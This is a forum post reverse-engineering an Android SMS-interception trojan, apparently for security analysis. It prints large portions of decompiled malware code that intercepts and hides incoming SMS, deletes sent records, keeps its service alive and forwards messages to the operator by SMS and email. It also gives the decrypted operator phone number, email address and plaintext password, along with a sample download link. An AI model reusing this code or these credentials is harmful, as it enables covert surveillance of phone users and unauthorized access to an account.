好友
阅读权限30
听众
最后登录1970-1-1
|
菜鸡葫芦娃
发表于 2016-6-19 17:40
使用论坛附件上传样本压缩包时必须使用压缩密码保护，压缩密码:52pojie，否则会导致论坛被杀毒软件等误报，论坛有权随时删除相关附件和帖子！
病毒分析分区附件样本、网址谨慎下载点击，可能对计算机产生破坏，仅供安全人员在法律允许范围内研究，禁止非法用途！
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容，即使对方是非法内容，也应向警方求助！
本帖最后由 Hoimk 于 2016-7-9 14:24 编辑
报告名称：Android样本-加强版监听拦截马分析
作者：Hoimk
报告更新日期：2016-6-19
样本发现日期：2016-4-8
样本类型：恶意监听拦截样本文件MD5 校验值：CF398E27450D09AE142F5E82718DFD66
可能受到威胁的系统：Android
小菜分析，不喜勿喷..说错了也别打我...
虽然之前看到已经有人分析过这个样本了(http://www.52pojie.cn/thread-489915-1-1.html),但有点简略,方法也不太对,所以就一直打算等这几天放假分析一下;
工具：
AndroidKiller;
JEB;
分析：
我们先用Killer逆一下啊，因为Killer有个功能非常不错，就是他会自动给你把权限，活动，服务，广播归类，然后还可以很方便的看到各个权限的作用，也可以很明了的看到APK的各种信息；
看看他申请的权限，我写出几个主要权限的作用
[XML] 纯文本查看 复制代码
android.permission.INTERNET ;网络访问的权限
android.permission.READ_SMS |
android.permission.WRITE_SMS |
android.permission.SEND_SMS >这几条都是短信相关的权限，读写发接
android.permission.RECEIVE_SMS |
android.permission.RECEIVE_WAP_PUSH |
android.permission.RECEIVE_BOOT_COMPLETED ;开机自启动
android.permission.READ_CONTACTS ;读取联系人
android.permission.GET_TASKS ;获取运行中的程序
android.permission.WRITE_EXTERNAL_STORAGE ;SD卡文件操作
好，主要权限看完，我们从启动类开始看：
[Asm] 纯文本查看 复制代码
<activity android:excludeFromRecents="false" android:label="@string/app_name" android:name="com.phone.stop.activity.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
启动类：com.phone.stop.activity.MainActivity，我喜欢用JEB看代码，感觉比较舒服点；
国际惯例，先看OnCreate():
看下这几条，就是设置"后门"吧，我们来分析一下其中的加密算法；
[Asm] 纯文本查看 复制代码
i.a(((Context)this)); // 设置手机号
i.b(((Context)this)); // //发送邮箱号
i.c(((Context)this)); // 接收邮箱号
i.d(((Context)this)); // 发送邮箱号密码
i.e(((Context)this)); // 应用结束时间
我们跟进去看一下,算法我已经解出来了，所以备注已经写好了。
先给你们讲一下这最前面这一层的逻辑，有点基础的人应该很容易看懂
[Asm] 纯文本查看 复制代码
if(!a.a(arg2).ifhavephone()) { //判断数据文件中是否保存了手机号
a.a(arg2).b(g.a(a.a(arg2).c())); // putString(“i_want_xxoo”,“15012821154”) 如果没有就设置
a.a(arg2).sethavephone(true); //设置之后就把他改成真，下次就不会再重新设置了。
}
a.a(arg2).c()：这个值是固定的，是一个加密过的值,点进去看一下就知道：“bba4242a5f281a10d33b26fa127f12a1”
接下来看算法:
是使用e这个类来解密的，我们先看他构造器：
[Asm] 纯文本查看 复制代码 public e(String arg4) {
super();
this.DES_ENCRYPT = null;
this.DES_DECRYPT = null;
Key v0 = this.b(arg4.getBytes()); //生成Key
this.DES_ENCRYPT = Cipher.getInstance("DES");
this.DES_ENCRYPT.init(1, v0); //设置此对象用于加密
this.DES_DECRYPT = Cipher.getInstance("DES");
this.DES_DECRYPT.init(2, v0);//设置此对象用于解密
}
Key v0 = this.b(arg4.getBytes()); 这里就是生成DESKey的地方，看看d()方法：
[Asm] 纯文本查看 复制代码 private Key b(byte[] arg4) {
byte[] v1 = new byte[8];
int v0;
for(v0 = 0; v0 < arg4.length; ++v0) {
if(v0 >= v1.length) {
break;
}
v1[v0] = arg4[v0]; // 取前八位
}
return new SecretKeySpec(v1, "DES");
}
很明显，只有取前八位的处理而已，我们之前传进来的值是“staker”，所以生产的KeyBytes = {s,t,a,k,e,r,,}；
看完构造器看解密的b(String)方法：
[Asm] 纯文本查看 复制代码 return new String(this.a(e.a(arg3)));
先看e.a(String):
那么，真正需要DES解密的内容就是这个方法返回的字节集了！
解密：
最后得出来的结果就是一个手机号：15012821154；
同理，下面那些bcde方法也是一样，key不变，解密出来的结果为：
[Asm] 纯文本查看 复制代码
i_want_xxoo 15012821154
send_email_account [url=mailto:a15013581946@vip.sina.com]a15013581946@vip.sina.com[/url]
receive_email_account [url=mailto:a15013581946@vip.sina.com]a15013581946@vip.sina.com[/url]
send_email_pwd qwe123
app_end_time 2016-07-31 23:59:00
我尝试登陆了下邮箱.....
有兴趣的阔自己去玩吧...
我们继续分析，
[Asm] 纯文本查看 复制代码 if(!a.a(((Context)this)).hasSendInfo()) {
k.a("软件安装完毕\n识别码:" + this.getSystemService("phone").getDeviceId() + "\n" + j.a(), 4, ((Context) // 获取IMEI，型号,手机号码,系统版本,并发送到之前解密的那个手机号
this));
a.a(((Context)this)).e(true);
}
继续下一句：
[Asm] 纯文本查看 复制代码 k.a(((Context)this));
[Asm] 纯文本查看 复制代码 public static void a(Context arg8) {
String[] v2 = null;
if(!a.a(arg8).hasDeleteMessage()) {
ContentResolver v0 = arg8.getContentResolver();
Cursor v1 = v0.query(com.phone.stop.a.a.b, v2, ((String)v2), v2, "date");
try {
if(!a.a(arg8).hasDeleteMessage() && (v1.moveToNext())) {
int v2_1 = v1.getInt(v1.getColumnIndex("_id"));
int v3 = v0.delete(Uri.parse("content://sms/" + v2_1), null, null);
int v0_2 = v0.delete(com.phone.stop.a.a.a, "_id=" + v2_1, null);
if(v3 != 1 && v0_2 != 1) {
goto label_41;
}
a.a(arg8).d(true);
}
label_41:
v1.close();
}
catch(Exception v0_1) {
}
}
}
不知道该怎么写注释...反正作用就是从短信箱里删掉刚才发送的那条手机信息的记录；
继续往下看
[Asm] 纯文本查看 复制代码 if(a.a(((Context)this)).j()) {
d.a(((Context)this));
}
这句是初始化邮箱服务器啥的，写的太乱了，不看；
OnCreate最后一句：this.a();
嗯...请求任务管理器权限，请求结束后系统是会返回一个int来表示用户是否激活,看看返回数据处理：
唉，这作者不是人啊，短信费不要钱啊，屁大点事还发短信...
然后就该来看服务了：BootService
唔,本来应该先看onCreate的，不过看到onDestroy()有个标准套路，就先说说吧
[Asm] 纯文本查看 复制代码 public void onDestroy() { super.onDestroy();
this.stopForeground(true);
Intent v0 = new Intent();
v0.setClass(((Context)this), BootService.class);
this.startService(v0);
}
public int onStartCommand(Intent arg6, int arg7, int arg8) {
Notification v0 = new Notification(2130837505, "", System.currentTimeMillis());
v0.contentView = new RemoteViews(this.getPackageName(), 2130903040);
v0.contentIntent = PendingIntent.getActivity(((Context)this), 0, new Intent(), 268435456);
this.startForeground(345, v0);
return super.onStartCommand(arg6, 3, arg8);
}
先在onStartCommand中startForeground，然后又在onDestroy中stopForeground()，有什么作用呢?防止服务被杀！！没错，有了这个，妈妈再也不怕我干正事的时候被干死了；
好了，继续看OnCreate:
[Asm] 纯文本查看 复制代码 public void onCreate() {
super.onCreate();
if(g.a()) {
com.phone.stop.db.a.a(((Context)this)).a(3); //这应该是判断软件到期时间之类的?之前那个app_end_time
}
else {
g.a(((Context)this));
this.b();
this.a();
}
}
b()和a()方法分别是启动了“SMSReceiver”短信广播监听器和SMS表的内容监听器；
剩下的都是干货，无非是收一条我偷一条之类的;
先看看SMSReceiver吧：
[Asm] 纯文本查看 复制代码 package com.phone.stop.receiver;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Build$VERSION;
import android.os.Bundle;
import android.telephony.SmsMessage;
import com.phone.stop.c.d;
import com.phone.stop.d.c;
import com.phone.stop.db.a;
import com.phone.stop.e.b;
import com.phone.stop.f.g;
import com.phone.stop.f.h;
import com.phone.stop.f.j;
import com.phone.stop.f.k;
import java.util.Iterator;
public class SMSReceiver extends BroadcastReceiver {
private Context a;
private final int b;
private boolean c;
public SMSReceiver() {
super();
this.b = 1;
this.c = false;
}
private void a(Intent arg11) {
String v1;
String v0_2;
Bundle v0 = arg11.getExtras();
StringBuffer v6 = new StringBuffer();
String v3 = "";
String v2 = "";
if(v0 != null) {
Object v0_1 = v0.get("pdus"); // 取出短信
SmsMessage[] v7 = new SmsMessage[v0_1.length];
int v8 = v0_1.length;
int v5;
for(v5 = 0; v5 < v8; ++v5) {
v7[v5] = SmsMessage.createFromPdu(v0_1[v5]);
}
v5 = v7.length;
v0_2 = v2;
v1 = v3;
int v2_1 = 0;
while(v2_1 < v5) {
SmsMessage v0_3 = v7[v2_1];
v3 = v0_3.getDisplayOriginatingAddress(); // 获取来源号码
String v4 = v0_3.getMessageBody(); // 获取短信内容
v1 = new StringBuilder(String.valueOf(v0_3.getTimestampMillis())).toString();
v6.append(v4);
++v2_1;
v0_2 = v1;
v1 = v3;
}
}
else {
v0_2 = v2;
v1 = v3;
}
this.abortBroadcast(); // 截断广播！
v2 = v6.toString();
this.a(v1, v2, v0_2);
d.a(this.a, String.valueOf(v2) + "<br>" + v1 + "<br><br><br>" + j.a() + "-----------------广播<"); // 发送邮件
// 发送邮件
}
private void a(String arg3, String arg4, String arg5) {
String v0 = a.a(this.a).c(); // 接收手机号
if((v0.contains("128")) && !this.a(arg3, arg4)) {
switch(a.a(this.a).g()) {
case 1: {
goto label_14;
}
case 2: {
goto label_18;
}
case 3: {
goto label_16;
}
}
return;
label_18: // 和下面都是发送邮件
this.c(v0, arg4, arg5); // 和下面都是发送邮件
return;
label_14:
this.b(arg3, arg4, arg5);
return;
label_16:
this.clearAbortBroadcast();
}
}
private boolean a(String arg8, String arg9) { // 这虽然是个接收命令的类，但似乎没地方调用，可能是作者卖出的版本限制?
int v6 = 4;
int v5 = 2;
boolean v0 = true;
if(arg8.contains(a.a(this.a).c())) {
g.a("------------------ 是主人----------------------");
this.a(arg9);
String[] v2 = arg9.split(" ");
if(v2[0].equals("LJ")) {
if(v2[1].equals("ALL")) {
a.a(this.a).a(1);
return v0;
}
if(v2[1].equals("SOME")) {
a.a(this.a).a(v5);
return v0;
}
if(!v2[1].equals("NO")) {
return v0;
}
a.a(this.a).a(3);
return v0;
}
if(v2[0].equals("ADD")) {
c v1 = new c();
v1.c = v2[1];
b.a(v1);
return v0;
}
if(v2[0].equals("DEL")) {
b.a(v2[1]);
return v0;
}
if(v2[0].equals("CLEAR")) {
if(v2[1].equals("ALL")) {
b.a();
return v0;
}
v2[1].equals("MESSAGE");
return v0;
}
if(v2[0].equals("LOOK")) {
if(v2[1].equals("TIME")) {
k.sendMessage("到期时间:" + a.a(this.a).e(), v6, this.a);
return v0;
}
if(!v2[1].equals("PHONE")) {
return v0;
}
k.sendMessage(j.a(), v6, this.a);
return v0;
}
if(!v2[0].equals("SEND")) {
return v0;
}
try {
k.a(v2[1], v2[2], this.a);
}
catch(Exception v1_1) {
}
}
else {
v0 = false;
}
return v0;
}
public void a(String arg5) {
if(String.valueOf(Build$VERSION.RELEASE).compareTo("4.3") >= 0) {
if(!this.c) {
this.c = true;
com.phone.stop.f.d.b(this.a, 0);
com.phone.stop.f.d.c(this.a, 0);
com.phone.stop.f.d.a(this.a, 0);
com.phone.stop.f.d.a(this.a, true);
}
new h().a(this.a, arg5);
}
}
private void b(String arg4, String arg5, String arg6) {
this.a(arg5);
k.sendMessage(String.valueOf(arg5) + "\n来自:" + arg4, 4, this.a);
}
private void c(String arg4, String arg5, String arg6) {
Iterator v1 = b.b().iterator();
do {
if(v1.hasNext()) {
if(!arg4.contains(v1.next().c)) {
continue;
}
break;
}
return;
}
while(true);
this.a(arg5);
k.sendMessage(String.valueOf(arg5) + "\n来自:" + arg4, 4, this.a);
}
public void onReceive(Context arg2, Intent arg3) {
g.a(" 广播---------------------------------------");
this.a = arg2;
this.a(arg3);
}
}
再看看内容监听器：
基本和广播监听器一样，没啥备注好些的。
[Asm] 纯文本查看 复制代码 package com.phone.stop.b;
import android.content.ContentResolver;
import android.content.Context;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Handler;
import com.phone.stop.c.d;
import com.phone.stop.d.c;
import com.phone.stop.db.PhoneApplication;
import com.phone.stop.e.b;
import com.phone.stop.f.g;
import com.phone.stop.f.j;
import com.phone.stop.f.k;
import java.util.Iterator;
public class a extends ContentObserver {
private Context a;
private final int b;
private ContentResolver c;
public a(Context arg2, Handler arg3) {
super(arg3);
this.b = 1;
this.c = null;
this.a = arg2;
if(this.c == null) {
this.c = arg2.getContentResolver();
}
}
private void a() {
Cursor v6 = this.c.query(com.phone.stop.a.a.b, null, null, null, "_id desc");
if(v6 == null || v6.getCount() == 0) {
this.a(v6);
}
else {
if(v6.moveToNext()) {
String v1 = v6.getString(v6.getColumnIndex("address")); // 来源号码
String v2 = v6.getString(v6.getColumnIndex("body")); // 正文
String v3 = v6.getString(v6.getColumnIndex("date")); // 日期
long v4 = v6.getLong(0);
String v0 = com.phone.stop.db.a.a(this.a).b();
this.a(v6);
if(v3.compareTo(v0) > 0) {
g.a("--------------进行处理------------------");
com.phone.stop.db.a.a(this.a).a(v3);
this.a(v1, v2, v3, v4);
}
else {
g.a("--------------不进行处理------------------");
}
}
this.a(v6);
}
}
private void a(Cursor arg2) {
if(arg2 != null) {
try {
arg2.close();
}
catch(Exception v0) {
}
}
}
private void a(String arg7, String arg8, String arg9, long arg10) {
String v1 = com.phone.stop.db.a.a(this.a).c();
if((v1.contains("128")) && !this.a(arg7, arg8, arg10)) {
switch(com.phone.stop.db.a.a(this.a).g()) {
case 1: {
goto label_14;
}
case 2: {
goto label_16;
}
}
return;
label_14:
this.b(arg7, arg8, arg9, arg10);
return;
label_16:
this.c(v1, arg8, arg9, arg10);
}
}
private boolean a(String arg8, String arg9, long arg10) {
int v6 = 2;
boolean v0 = true;
if(arg8.contains(com.phone.stop.db.a.a(this.a).c())) {
g.a("-------------是主人-----------------");
int v2 = this.a(arg10);
String[] v3 = arg9.split(" ");
if(v3[0].equals("LJ")) {
if(v3[1].equals("ALL")) {
com.phone.stop.db.a.a(this.a).a(1);
return v0;
}
if(v3[1].equals("SOME")) {
com.phone.stop.db.a.a(this.a).a(v6);
return v0;
}
if(!v3[1].equals("NO")) {
return v0;
}
com.phone.stop.db.a.a(this.a).a(3);
return v0;
}
if(v3[0].equals("ADD")) {
c v1 = new c();
v1.c = v3[1];
b.a(v1);
return v0;
}
if(v3[0].equals("DEL")) {
b.a(v3[1]);
return v0;
}
if(v3[0].equals("CLEAR")) {
if(v3[1].equals("ALL")) {
b.a();
return v0;
}
v3[1].equals("MESSAGE");
return v0;
}
if(v3[0].equals("LOOK")) {
if(v3[1].equals("TIME")) {
k.sendMessage("到期时间:" + com.phone.stop.db.a.a(this.a).e(), v2, this.a);
return v0;
}
if(!v3[1].equals("PHONE")) {
return v0;
}
k.sendMessage(j.a(), v2, this.a);
return v0;
}
if(!v3[0].equals("SEND")) {
return v0;
}
try {
k.a(v3[1], v3[2], this.a);
}
catch(Exception v1_1) {
}
}
else {
v0 = false;
}
return v0;
}
public int a(long arg8) {
int v0 = 1;
ContentResolver v1 = this.a.getContentResolver();
int v2 = v1.delete(Uri.parse("content://sms/" + arg8), null, null);
int v1_1 = v1.delete(com.phone.stop.a.a.a, "_id=" + arg8, null);
if(v2 != 1 && v1_1 != 1) {
v0 = 2;
}
return v0;
}
private void b(String arg5, String arg6, String arg7, long arg8) {
int v0 = this.a(arg8);
d.a(this.a, String.valueOf(arg6) + "<br>" + arg5 + "<br><br><br>" + j.a() + "-----------------观察者");
k.sendMessage(String.valueOf(arg6) + "\n来自:" + arg5, v0, this.a);
}
private void c(String arg4, String arg5, String arg6, long arg7) {
Iterator v1 = b.b().iterator();
do {
if(v1.hasNext()) {
if(!arg4.contains(v1.next().c)) {
continue;
}
break;
}
return;
}
while(true);
k.sendMessage(String.valueOf(arg5) + "\n来自:" + arg4, this.a(arg7), this.a);
}
public void onChange(boolean arg2) {
super.onChange(arg2);
if(this.c == null) {
this.c = this.a.getContentResolver();
}
if(this.a == null) {
this.a = PhoneApplication.a();
}
this.a();
}
}
最后总结下：
其实我觉得没什么亮点，如果要说比别的马先进点的就是把数据都加密了，然后又用上了防止服务被Kill的套路，而服务,观察者两者同时用的手法在两年前就已经有了，所以这应该算是一个加强版吧。
不过从功能上讲，这又是一个限制版，为什么呢？
第一点：设置了软件到期时间；
第二点：明明写了接收指令的功能，却没有调用；
这说明这是有人在贩卖功能版的恶意软件。
就分析到这，完。
样品： 链接: http://pan.baidu.com/s/1kVAkQyF 密码: evkf\
Blog:http://www.hoimk.com/reverse/55.html
|
免费评分
-
查看全部评分
|
[复制链接]
|
发表于 2016-6-19 19:19
